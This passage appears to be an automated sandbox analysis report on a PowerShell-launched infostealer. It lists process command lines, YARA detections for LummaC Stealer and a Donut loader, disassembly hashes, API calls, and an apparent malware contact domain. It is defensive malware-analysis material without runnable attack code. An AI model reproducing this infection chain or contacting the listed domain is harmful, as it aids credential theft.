cfL4;desc="?proto=TCP&rtt=2091&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=909&delivery_rate=1376709&cwnd=233&unsent_bytes=0&cid=7c1ce9e2b8799e6f&ts=703&x=0"
2024-11-23 12:38:48 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 12:38:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	07:37:34
Start date:	23/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\psol.txt.ps1"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:37:34
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:38:24
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Roaming\Extracted1\setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Extracted1\setup.exe"
Imagebase:	0x400000
File size:	4'006'832 bytes
MD5 hash:	AC0571EDB2C48A0AD96316D995E38ABC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000005.00000003.2697940557.00000000031CF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000005.00000000.2546385365.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe, Author: Joe Security
Antivirus matches:	Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00007FF848E5778D Relevance: 1.6, Strings: 1, Instructions: 349COMMON

Download Yara Rule

Strings

(V_H, xrefs: 00007FF848E57A92

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID: (V_H
API String ID: 0-1775731446
Opcode ID: 5728435cf52e913e8ebcd637a643cf6cfdb6574efe028a189ba4208a34036409
Instruction ID: 9939daa9cead285608dfd256f2f1f7f879b8e4641943c56df7be6a2ceb8d5cfc
Opcode Fuzzy Hash: 5728435cf52e913e8ebcd637a643cf6cfdb6574efe028a189ba4208a34036409
Instruction Fuzzy Hash: F6A1C561F1DD1A4FFBA8A76858253B9A6D1FF98790F0541B9D40EC32C7DF3898028359

Function 00007FF848E573AC Relevance: 1.5, Strings: 1, Instructions: 286COMMON

Download Yara Rule

Strings

, xrefs: 00007FF848E5745D

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 3f06ad28801bbe969761802eab11c32c3cd11112cb607eb30fe98bcda05b736d
Instruction ID: d41f09185ed3bdbe13df0bbd0fe670b39875f2dddac1cc99a983d47ed5a3ddc2
Opcode Fuzzy Hash: 3f06ad28801bbe969761802eab11c32c3cd11112cb607eb30fe98bcda05b736d
Instruction Fuzzy Hash: 58716B7070C5584FD769EBACE845AB5BBD1FF85361F1401BBE08DC72A3CA289C828349

Function 00007FF848E584DD Relevance: 1.5, Strings: 1, Instructions: 277COMMON

Download Yara Rule

Strings

P?I, xrefs: 00007FF848E58666

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID: P?I
API String ID: 0-814834605
Opcode ID: f29f25c99f4eff6d1e42fa40472a5303b87e661a60f29f51f277fca1fa7cd5a8
Instruction ID: b5211f08a0cec7551d6592460d17de27c6a09a1e67c1ae06d21acd535a5d04e3
Opcode Fuzzy Hash: f29f25c99f4eff6d1e42fa40472a5303b87e661a60f29f51f277fca1fa7cd5a8
Instruction Fuzzy Hash: 7E713530A0C9584FEB99EB6898556BAB7E1FF95340F0400BAD44EC7297DF28AC06C785

Function 00007FF848E568A8 Relevance: .6, Instructions: 615COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0b92bb2b6b318998a4edc803c63e1f965ab7cc97e8f5c2f5715037f3c3a2337
Instruction ID: 950e6c6d150f4002951169c4b80717dda3e998774da53d9071f1a4d4e50d4b3e
Opcode Fuzzy Hash: b0b92bb2b6b318998a4edc803c63e1f965ab7cc97e8f5c2f5715037f3c3a2337
Instruction Fuzzy Hash: 9222297460895D8FDB98EF1CC898AA977E1FF68301F0505A9E85ED72A1DB35EC42CB40

Function 00007FF848E5703D Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 371241077f0fad082afc879e2f6dc44ad8090f57f8f4fe081db94ea29e70067a
Instruction ID: c032f57b4752667cb9501f2c4761cface070e494788bca0f01b8f536c70e83c7
Opcode Fuzzy Hash: 371241077f0fad082afc879e2f6dc44ad8090f57f8f4fe081db94ea29e70067a
Instruction Fuzzy Hash: 70717260E18D1A4FEA94FBA884155BEA3E2FF98790F404575E40EC32D6DF38B8428759

Function 00007FF848E575E5 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4011cd8774d472614daf9446ed232af7ab652a6c50515575f7be9e154dc600a
Instruction ID: ab425ca5ad83131a239276b72bdd0173d686a0217af8b7cd4e296a9347887f44
Opcode Fuzzy Hash: d4011cd8774d472614daf9446ed232af7ab652a6c50515575f7be9e154dc600a
Instruction Fuzzy Hash: C451E37060DA894FD7A4EF6CD858A65BBE1FF49351B0900FAD489C72A2DB24EC81C785

Function 00007FF848E5A9E0 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9be9dbbce76e3b74867bd260c1f0f9682bc99ce66385624e915fade1d417fdd
Instruction ID: f835b5023dc2d20c9ba7fe6140cdc6fa8afb0c461f1a48c635d5904df12d731f
Opcode Fuzzy Hash: c9be9dbbce76e3b74867bd260c1f0f9682bc99ce66385624e915fade1d417fdd
Instruction Fuzzy Hash: 9A41E63131981C8FDA98EB5CE898E6977E1FF6C31271505E6E44ACB276DA26DC81CB40

Function 00007FF848E56625 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e19049be4d4fd214e4034bbc286349675c4a9d58369e1d0d4e18ba6ee14dac70
Instruction ID: 01324b22470b9043f073375dc6553195a39ecaeb9d7ff871779d27c8d5a4166e
Opcode Fuzzy Hash: e19049be4d4fd214e4034bbc286349675c4a9d58369e1d0d4e18ba6ee14dac70
Instruction Fuzzy Hash: EE418E61B0DA590FE758B67C64491FABBD0EFD52A1F04057BD40DC71A2CE2968C38399

Function 00007FF848E56272 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34f5ce715bdf0538ab5cf34d06d7c6ec81a18c33fb92d1617156983c8ee0be84
Instruction ID: 4c4ad7f5004c535c1e30c635742c3cb586912b63553b4e8a3ed91a847820e2f9
Opcode Fuzzy Hash: 34f5ce715bdf0538ab5cf34d06d7c6ec81a18c33fb92d1617156983c8ee0be84
Instruction Fuzzy Hash: 8A411671E0DAC94FE35AA76898166797BA0EF47290F1801BAD089C31E3DE686C06C356

Function 00007FF848E55FB0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccf8011c46048b046f821053b338932dfa63ec2ecb3385f126009d979307a0ba
Instruction ID: b74832da8ae11189b7ae0807aeda9d7bad8dd74163f7d90ee1d1a9010ee72bad
Opcode Fuzzy Hash: ccf8011c46048b046f821053b338932dfa63ec2ecb3385f126009d979307a0ba
Instruction Fuzzy Hash: 5541B271E0D91E8FEBA4EAA8A4157BDB7E2FB98390F000179D40DD32C5DF3868854785

Function 00007FF848E56670 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34bf59426b720bd57551edddb90cddd865612552ee366bc16951af3bab79ae8b
Instruction ID: b33caee151a028b22a1c0f7acb820f408409ba0c60d767dd723ee6e4391126a5
Opcode Fuzzy Hash: 34bf59426b720bd57551edddb90cddd865612552ee366bc16951af3bab79ae8b
Instruction Fuzzy Hash: 1D419360A0D91A8FEB94FAAC9045AB5B3D1FF55390F140479D04EC32A6DE39FC819748

Function 00007FF848E5A3D5 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06c80c2b0f55ae55f023aefc66986a1a523bab4f13ee062d6f856b3f34ae8ba7
Instruction ID: 15677c58b83e3a4e4cf4e48ad328094ce5d324c07efb03a205815f98cdedcca5
Opcode Fuzzy Hash: 06c80c2b0f55ae55f023aefc66986a1a523bab4f13ee062d6f856b3f34ae8ba7
Instruction Fuzzy Hash: 2D41F47090E58A4FE758EBA8C8556F9BBE1FF45390F0401BAD44DC31E2DF3868859781

Function 00007FF848E565F8 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 841195d29a4d8c2e12e38d7815ca581d9b8e03ef31fe22d4e8898078e989aba1
Instruction ID: 608c5b1a5da0cba6b36666d33c20f41f05f7dc229de83b51ac6656778b3347f0
Opcode Fuzzy Hash: 841195d29a4d8c2e12e38d7815ca581d9b8e03ef31fe22d4e8898078e989aba1
Instruction Fuzzy Hash: 5831B170A0D8494FDBA8EB6CD454B75B7D2FF99350F1841B9D04EC7292DE29ACC28784

Function 00007FF848E55F98 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e424e8da9b9d7d06381306d0ee3fa7cefc8d78770850fe53bfb8acd987938b3f
Instruction ID: 3495fdcbe793cdce9708bbc11043af703ad38958ab6530f1e3be9264d23915d2
Opcode Fuzzy Hash: e424e8da9b9d7d06381306d0ee3fa7cefc8d78770850fe53bfb8acd987938b3f
Instruction Fuzzy Hash: 5731A070A0D90E4FEB54EAA8D4157FAB7E2FF88390F00013AE40DD3285CF3868958684

Function 00007FF848E5A459 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d39757f5453604e98d5bb133abd5af3aab73ecc28dee340c2965009ef1dea19
Instruction ID: 994be7d708ea988556c57bec15dee9f81b94e6cc224cfd0b3267b7a1111d0eff
Opcode Fuzzy Hash: 1d39757f5453604e98d5bb133abd5af3aab73ecc28dee340c2965009ef1dea19
Instruction Fuzzy Hash: 8231AE7090D64A8FEB94EBA894152B9B7E2FF98390F40017AE40DD32D6DF3868958781

Function 00007FF848E5A75F Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57692e4d177d4c48c4d9916083b76d1bd3f8b1dba372cb1a8264887ff2279924
Instruction ID: d54fb8c2607e6af7d428b0164f04a0fd6f092a2905f22a1b294eaa2f1c886d44
Opcode Fuzzy Hash: 57692e4d177d4c48c4d9916083b76d1bd3f8b1dba372cb1a8264887ff2279924
Instruction Fuzzy Hash: 3B213861B1DE090FDB94F77C545A279B7D1EFA8290F0405BFC40EC32A6DE299C424385

Function 00007FF848E59501 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2301bc9102adfda29741c6a286f55f1f0561c109c8043bab58b804a027706722
Instruction ID: 56344973525f53bad9c4935e92de26452daf5b761e053d9b715e7818c8fc2869
Opcode Fuzzy Hash: 2301bc9102adfda29741c6a286f55f1f0561c109c8043bab58b804a027706722
Instruction Fuzzy Hash: DB21C070618E088FC7D8FB6CC4849A5B7E2FF5831174505AED08BC7AA2CA25FC41C740

Function 00007FF848E5A9C1 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 806a710d6ed6ee420b199b13cb13abd95c2d6227b9f8a8267cbe290e88ecf835
Instruction ID: f17ece5f038de46aaebacf310f8c94f4bec5c198c3fbb8d398674d85dd89007a
Opcode Fuzzy Hash: 806a710d6ed6ee420b199b13cb13abd95c2d6227b9f8a8267cbe290e88ecf835
Instruction Fuzzy Hash: 71115E3120E9884FD795EB6CE898964BBE1FF6935171A05E7D089CB173DA25EC80C740

Function 00007FF848E5A618 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8685e387fc12feb7394a2e853a133de9258183c972db8eac5d28fc820ebf77af
Instruction ID: dd16bd3a21ce9edef334690e1be0a65b917da7b65b33b8aa6471703c39e72a52
Opcode Fuzzy Hash: 8685e387fc12feb7394a2e853a133de9258183c972db8eac5d28fc820ebf77af
Instruction Fuzzy Hash: A7119C7290D9894FD710B76498508F5BBA4FF853A0F0401AED02EC7192DAB96886C385

Function 00007FF848E5AB22 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27dc67a228ccade9e2cf18f27687bed93708cc7767215b8af3003f8f0db50ec6
Instruction ID: bd7a641c72d894d5a58bc0e561599581fd29243458058fffcf350a6bc04d3221
Opcode Fuzzy Hash: 27dc67a228ccade9e2cf18f27687bed93708cc7767215b8af3003f8f0db50ec6
Instruction Fuzzy Hash: 3221307050DA894FDB95EB28C454F61BBE2FF55344F1941EAD04DCB2A3DA25EC81CB50

Function 00007FF848E565C8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f9cbf8e4cbc2361fe1f7c72185e19819db3b43fe5fb7577f80e4a33b8a08e1f
Instruction ID: 662a9f5fff2daa1abc7b2bc682ff6e528119aac62efe2f8418556f91425277fe
Opcode Fuzzy Hash: 6f9cbf8e4cbc2361fe1f7c72185e19819db3b43fe5fb7577f80e4a33b8a08e1f
Instruction Fuzzy Hash: 6E114861E1E8995FE7A8F77C90656787BE1FF08740F1040FAD00DC7192DA28AC894385

Function 00007FF848E5AC49 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faaace588e053bbb6cd6ce3dbc282f1ab2c06848dfa7d0fa1f047e4a1391dd11
Instruction ID: 7ad8aaa494bc9f607412fe7534d63df2e862fa51173c847990ebb1d03390a328
Opcode Fuzzy Hash: faaace588e053bbb6cd6ce3dbc282f1ab2c06848dfa7d0fa1f047e4a1391dd11
Instruction Fuzzy Hash: 5801F56190E5C85FE7A5E76C9865660BFE0FF09340F1940EFD04DCB193D629AC898381

Function 00007FF848E53885 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 3aa19c3fb7df46645831a7927d3f5e62eb19987dacd50dac22d51b63e1750afe
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: C201677111CB0C4FDB48EF0CE451AA6B7E0FB95364F50056DE58AC3691D736E881CB45

Function 00007FF848E5A5DB Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9dff90a50b8f99b0edf706d0682375aad3016fd20dd7f3cf25f0e7134616506
Instruction ID: e9cc77ae2b277b2f77fe1131aaa13daf499ec757e3bc24d1b5b0dda75dd371e4
Opcode Fuzzy Hash: e9dff90a50b8f99b0edf706d0682375aad3016fd20dd7f3cf25f0e7134616506
Instruction Fuzzy Hash: 02F02877E0D90D8AEB0065A8BC104E8BB90FF843A8F050079E41CC3281DAA948C1C249

Function 00007FF848E56286 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71bb8ed783cf23cdf4baf0f71baec29725fc4b15b5e66528639a9d5f1edf0750
Instruction ID: 16d4328f0e9ec67956e30cd3de6f78004ae1907bad30212bf6ee767b07bfbc3e
Opcode Fuzzy Hash: 71bb8ed783cf23cdf4baf0f71baec29725fc4b15b5e66528639a9d5f1edf0750
Instruction Fuzzy Hash: DCF0A7B5F1CA198BD6586E8C640627DB3D5FB98B90F04023EE04FA32D1CF745C53418A

Function 00007FF848E56297 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17e350496e5c589045f2ec8556d1e7e911840080aaf0fb6faf6ccb8f439b8beb
Instruction ID: 2647b6ebbec599e93331f2dca8d78617a980c77fc4999420eb03be1a9a27e801
Opcode Fuzzy Hash: 17e350496e5c589045f2ec8556d1e7e911840080aaf0fb6faf6ccb8f439b8beb
Instruction Fuzzy Hash: 02F0A0B1F1CA198BD268AE8C6406279B3D5FB98A90F04023EE08FA33C1CF345C03418A

Non-executed Functions

Function 00007FF848E569D8 Relevance: 15.6, Strings: 12, Instructions: 554COMMON

Download Yara Rule

Strings

(JI, xrefs: 00007FF848E56BFC
pI, xrefs: 00007FF848E56AC9
nI, xrefs: 00007FF848E56AA9
XmI, xrefs: 00007FF848E56A09
xmI, xrefs: 00007FF848E56A29
?I, xrefs: 00007FF848E56F01
E, xrefs: 00007FF848E56F16
hmI, xrefs: 00007FF848E56A19
?I, xrefs: 00007FF848E56F45
GI, xrefs: 00007FF848E56BC9
hAI, xrefs: 00007FF848E56B90
@!I, xrefs: 00007FF848E56CD9

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID: (JI$@!I$E$XmI$hAI$hmI$xmI$?I$?I$GI$nI$pI
API String ID: 0-3492388817
Opcode ID: 1e93f4819be1e289a2185858772618e3baf69b8b597da0c1027ed6aa6460be2c
Instruction ID: 2e76c4ec3530781060de1275406d8bff195e331ca17d9ff7e9bcb4e6e8361137
Opcode Fuzzy Hash: 1e93f4819be1e289a2185858772618e3baf69b8b597da0c1027ed6aa6460be2c
Instruction Fuzzy Hash: 28F10571E0CD868FE798E76894152BAB7E1FFA4790F04457AD04EC72A7DE34AC068385

Function 00007FF848E588FA Relevance: 10.1, Strings: 8, Instructions: 97COMMON

Download Yara Rule

Strings

O_^F, xrefs: 00007FF848E5892A
O_^>, xrefs: 00007FF848E588FA
O_^V, xrefs: 00007FF848E5897A
O_^b, xrefs: 00007FF848E589C9
O_^a, xrefs: 00007FF848E589C2
O_^T, xrefs: 00007FF848E5896A
O_^Y, xrefs: 00007FF848E58992
O_^U, xrefs: 00007FF848E58972

Memory Dump Source

Source File: 00000000.00000002.2587542680.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID: O_^>$O_^F$O_^T$O_^U$O_^V$O_^Y$O_^a$O_^b
API String ID: 0-2429943002
Opcode ID: a72e99c7ebf573721781cc0f4678b22c43083931f81c8931bae8185bb154919b
Instruction ID: 7580a7d11a5ad06b4b4b3cebae760773eba9fc1f3826781205bc9fb3456a7293
Opcode Fuzzy Hash: a72e99c7ebf573721781cc0f4678b22c43083931f81c8931bae8185bb154919b
Instruction Fuzzy Hash: 472136F72899256BD70936ADBC811E93380EF943B3B0855B2D25D8F303EE1468874A98

Analysis Process: setup.exePID: 2472, Parent PID: 5852COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	43.3%
Total number of Nodes:	164
Total number of Limit Nodes:	25

Executed Functions

Function 02CCA9D0 Relevance: 25.1, APIs: 9, Strings: 5, Instructions: 641
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.COMBASE(02CD5678,00000000,00000001,02CD5668,00000000), ref: 02CCAAB5
SysAllocString.OLEAUT32(912F9F2E), ref: 02CCAB67
CoSetProxyBlanket.COMBASE(00008380,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 02CCABA5
SysAllocString.OLEAUT32(912F9F2E), ref: 02CCABE7
SysAllocString.OLEAUT32(912F9F2E), ref: 02CCAC77
VariantInit.OLEAUT32(?), ref: 02CCACEA
VariantClear.OLEAUT32(?), ref: 02CCAF97
SysFreeString.OLEAUT32(00000000), ref: 02CCAFCE
GetVolumeInformationW.KERNEL32(?,00000000,00000000,{'K!,00000000,00000000,00000000,00000000), ref: 02CCB00D

Strings

ZQ, xrefs: 02CCAC17
\, xrefs: 02CCAA6F
C, xrefs: 02CCAA64
WC, xrefs: 02CCAC27
{'K!, xrefs: 02CCAA35

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID: String$Alloc$Variant$BlanketClearCreateFreeInformationInitInstanceProxyVolume
String ID: C$WC$ZQ$\${'K!
API String ID: 3897708192-2961542419
Opcode ID: 0a6e3ed678394f7640ca378f76234f7681726375dc911b77de003d6a4675caa7
Instruction ID: 2f5bfc9ebc6ba35931c386fb014f3c026dc4951b813090f3a81e565086de7504
Opcode Fuzzy Hash: 0a6e3ed678394f7640ca378f76234f7681726375dc911b77de003d6a4675caa7
Instruction Fuzzy Hash: 112201B2A087419FD310CF24C849B5BBBE6EF85758F248A2CF995DB281D774D901CB92

Function 02C9E664 Relevance: 11.5, Strings: 9, Instructions: 266
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6)./, xrefs: 02C9E9A6
nd[b, xrefs: 02C9E740
vhSb, xrefs: 02C9E74B
marshal-zhukov.com, xrefs: 02C9EA6E
sy-9, xrefs: 02C9E76C
`al, xrefs: 02C9E680
mp0c, xrefs: 02C9E761
kbcR, xrefs: 02C9E756
>38}, xrefs: 02C9E777

Memory Dump Source

